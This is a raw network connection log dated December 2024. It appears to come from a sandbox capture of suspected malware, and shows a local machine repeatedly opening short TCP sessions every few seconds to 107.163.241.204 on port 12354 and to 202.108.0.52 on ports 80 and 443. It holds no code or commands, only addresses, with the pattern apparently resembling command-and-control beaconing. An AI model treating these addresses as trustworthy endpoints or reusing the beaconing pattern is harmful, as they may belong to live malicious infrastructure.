Dec 11, 2024 16:26:56.487258911 CET	80	64412	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:56.487329006 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:56.487802029 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:56.493863106 CET	12354	64340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:56.606337070 CET	12354	64411	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:56.607397079 CET	80	64412	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:58.059412003 CET	80	64412	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:58.059484005 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:58.091603041 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:58.091648102 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:58.091700077 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:58.094171047 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:58.094180107 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:58.487782955 CET	12354	64340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.487870932 CET	64340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.595953941 CET	12354	64411	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.596066952 CET	64411	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.727897882 CET	64340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.728526115 CET	49961	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.728728056 CET	64411	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.834651947 CET	50008	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.850872040 CET	12354	64340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.851533890 CET	12354	49961	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.851581097 CET	12354	64411	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.851603031 CET	49961	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.852075100 CET	49961	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.954020023 CET	12354	50008	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:58.954253912 CET	50008	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.954515934 CET	50008	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:58.972224951 CET	12354	49961	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:59.074898005 CET	12354	50008	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:59.795897007 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:59.796004057 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.796997070 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:59.797084093 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.800184011 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.800261021 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:59.800452948 CET	443	49958	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:59.800467968 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.800519943 CET	49958	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.911231995 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:59.911591053 CET	51307	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.032558918 CET	80	51307	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:00.032572985 CET	80	64412	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:00.032646894 CET	64412	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.032680035 CET	51307	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.033505917 CET	51307	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.153531075 CET	80	51307	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:00.267469883 CET	51307	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.267498970 CET	49961	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.267695904 CET	50008	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.268327951 CET	51627	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.385355949 CET	51781	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.386740923 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.387738943 CET	12354	51627	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:00.387801886 CET	51627	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.388308048 CET	51627	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.596820116 CET	12354	51781	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:00.596836090 CET	80	51783	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:00.596847057 CET	12354	51627	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:00.596915960 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.596940994 CET	51781	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.600512028 CET	51781	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:00.600598097 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:00.847286940 CET	12354	51781	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:00.847297907 CET	80	51783	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:02.176137924 CET	80	51783	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:02.176197052 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:02.195410013 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:02.195446968 CET	443	52868	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:02.195507050 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:02.200267076 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:02.200288057 CET	443	52868	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:02.502652884 CET	12354	51627	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.502711058 CET	51627	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.502976894 CET	51627	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.503283978 CET	53250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.622370005 CET	12354	51627	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.622621059 CET	12354	53250	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.622693062 CET	53250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.623415947 CET	53250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.720974922 CET	12354	51781	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.721138954 CET	51781	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.724160910 CET	51781	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.724555016 CET	53449	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.743968964 CET	12354	53250	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.846925020 CET	12354	51781	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.847446918 CET	12354	53449	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:02.847543955 CET	53449	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.848490000 CET	53449	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:02.968996048 CET	12354	53449	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:03.888331890 CET	443	52868	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:03.888438940 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:03.889117956 CET	443	52868	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:03.891731977 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.149372101 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.149466991 CET	443	52868	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:04.149516106 CET	52868	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.255373955 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.256076097 CET	54140	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.283020973 CET	53449	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.283070087 CET	53250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.284358978 CET	54167	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.377190113 CET	80	51783	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:04.377266884 CET	51783	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.377373934 CET	80	54140	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:04.377444029 CET	54140	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.397670984 CET	54268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.404272079 CET	12354	54167	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:04.404357910 CET	54167	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.404541969 CET	54167	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.516984940 CET	12354	54268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:04.517062902 CET	54268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.517895937 CET	54268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:04.524169922 CET	12354	54167	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:04.538059950 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.639408112 CET	12354	54268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:04.657783031 CET	80	54437	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:04.659215927 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.659215927 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:04.778747082 CET	80	54437	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:06.222893953 CET	80	54437	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:06.223009109 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:06.226444960 CET	55758	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:06.226490974 CET	443	55758	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:06.226588011 CET	55758	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:06.227343082 CET	55758	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:06.227358103 CET	443	55758	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:06.517819881 CET	12354	54167	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.517930031 CET	54167	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.518172979 CET	54167	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.518646002 CET	56076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.627397060 CET	12354	54268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.627499104 CET	54268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.628087997 CET	54268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.629888058 CET	56250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.637379885 CET	12354	54167	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.637979031 CET	12354	56076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.638046026 CET	56076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.638544083 CET	56076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.747611046 CET	12354	54268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.749478102 CET	12354	56250	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.749551058 CET	56250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.755243063 CET	56250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:06.758760929 CET	12354	56076	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:06.874537945 CET	12354	56250	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:08.302664042 CET	55758	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.302685976 CET	56076	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.302725077 CET	56250	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.308141947 CET	57568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.412404060 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.412758112 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.427299976 CET	57657	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.427520990 CET	12354	57568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:08.427686930 CET	57568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.428211927 CET	57568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.532144070 CET	80	57643	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:08.532179117 CET	80	54437	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:08.532268047 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.532268047 CET	54437	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.533284903 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:08.546597958 CET	12354	57657	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:08.547180891 CET	57657	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.547180891 CET	57657	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:08.547544003 CET	12354	57568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:08.652853966 CET	80	57643	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:08.666532040 CET	12354	57657	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.184863091 CET	80	57643	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:10.184978008 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:10.187630892 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:10.187681913 CET	443	59714	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:10.187745094 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:10.188549995 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:10.188560009 CET	443	59714	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:10.597013950 CET	12354	57568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.597110033 CET	57568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.598380089 CET	57568	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.598812103 CET	60035	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.718487024 CET	12354	57568	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.718991041 CET	12354	60035	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.719075918 CET	60035	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.719742060 CET	60035	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.738445997 CET	12354	57657	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.738513947 CET	57657	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.758918047 CET	57657	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.759246111 CET	60195	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.839366913 CET	12354	60035	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.878180027 CET	12354	57657	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.878526926 CET	12354	60195	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:10.878829956 CET	60195	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.880022049 CET	60195	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:10.999439955 CET	12354	60195	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:11.884814978 CET	443	59714	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:11.884903908 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:11.885634899 CET	443	59714	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:11.885685921 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:11.889055967 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:11.889128923 CET	443	59714	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:11.889179945 CET	59714	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.005439997 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.005665064 CET	61632	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.124922991 CET	80	61632	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:12.125029087 CET	61632	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.125117064 CET	80	57643	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:12.125226021 CET	57643	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.125618935 CET	61632	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.245173931 CET	80	61632	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:12.315448046 CET	60035	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.315483093 CET	61632	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.315546036 CET	60195	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.319417000 CET	61976	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.433223009 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.434000015 CET	62080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.438904047 CET	12354	61976	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:12.439063072 CET	61976	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.439174891 CET	61976	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.552443027 CET	80	62079	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:12.552938938 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.553210974 CET	12354	62080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:12.553725958 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:12.554150105 CET	62080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.554150105 CET	62080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:12.558458090 CET	12354	61976	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:12.672928095 CET	80	62079	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:12.673405886 CET	12354	62080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.124836922 CET	80	62079	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:14.124923944 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:14.128012896 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:14.128046036 CET	443	63675	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:14.128125906 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:14.128464937 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:14.128475904 CET	443	63675	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:14.565507889 CET	12354	61976	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.565598011 CET	61976	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.565901041 CET	61976	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.566456079 CET	64142	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.661179066 CET	12354	62080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.661319017 CET	62080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.661567926 CET	62080	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.677320957 CET	64288	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.687222004 CET	12354	61976	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.687242031 CET	12354	64142	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.687335968 CET	64142	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.687699080 CET	64142	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.780781031 CET	12354	62080	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.796684980 CET	12354	64288	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.796775103 CET	64288	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.797187090 CET	64288	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:14.806901932 CET	12354	64142	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:14.916522026 CET	12354	64288	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:15.839261055 CET	443	63675	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:15.839332104 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:15.840217113 CET	443	63675	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:15.840301991 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:15.844196081 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:15.844351053 CET	443	63675	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:15.844518900 CET	63675	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.047388077 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.047683001 CET	65252	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.168108940 CET	80	65252	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:16.168128967 CET	80	62079	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:16.168231964 CET	62079	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.168457985 CET	65252	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.168837070 CET	65252	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.288467884 CET	80	65252	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:16.330830097 CET	64288	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.330876112 CET	64142	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.330903053 CET	65252	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.331964016 CET	65421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.444542885 CET	65491	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.446124077 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.454596043 CET	12354	65421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:16.454731941 CET	65421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.456136942 CET	65421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.564642906 CET	12354	65491	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:16.564716101 CET	65491	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.564980030 CET	65491	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:16.565623045 CET	80	65492	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:16.565908909 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.565908909 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:16.576858044 CET	12354	65421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:16.684376955 CET	12354	65491	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:16.685174942 CET	80	65492	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:18.135242939 CET	80	65492	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:18.135329008 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:18.163326025 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:18.163367987 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:18.163760900 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:18.163846970 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:18.163860083 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:18.565712929 CET	12354	65421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.565804005 CET	65421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.566945076 CET	65421	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.567583084 CET	51155	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.674554110 CET	12354	65491	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.674627066 CET	65491	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.675307989 CET	65491	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.678543091 CET	51268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.686882019 CET	12354	65421	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.687545061 CET	12354	51155	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.687649965 CET	51155	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.687880993 CET	51155	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.795455933 CET	12354	65491	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.798286915 CET	12354	51268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.798358917 CET	51268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.799724102 CET	51268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:18.807394981 CET	12354	51155	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:18.924406052 CET	12354	51268	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:19.863243103 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:19.863442898 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:19.864093065 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:19.864203930 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:19.893817902 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:19.893907070 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:19.894081116 CET	443	50825	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:19.894141912 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:19.894218922 CET	50825	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.010571957 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.010895967 CET	52282	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.130258083 CET	80	52282	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:20.130285978 CET	80	65492	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:20.130328894 CET	52282	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.130471945 CET	65492	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.130942106 CET	52282	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.251385927 CET	80	52282	202.108.0.52	192.168.2.9
Dec 11, 2024 16:27:20.345985889 CET	52282	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.346026897 CET	51155	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.346050978 CET	51268	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.346688986 CET	52585	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.466960907 CET	12354	52585	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:20.467044115 CET	52585	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.467438936 CET	52585	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.486409903 CET	52771	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:27:20.486645937 CET	52772	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:27:20.586846113 CET	12354	52585	107.163.241.204	192.168.2.9
Dec 11, 2024 16:27:20.605736017 CET	12354	52771	107.163.241.204	192.168.2.9
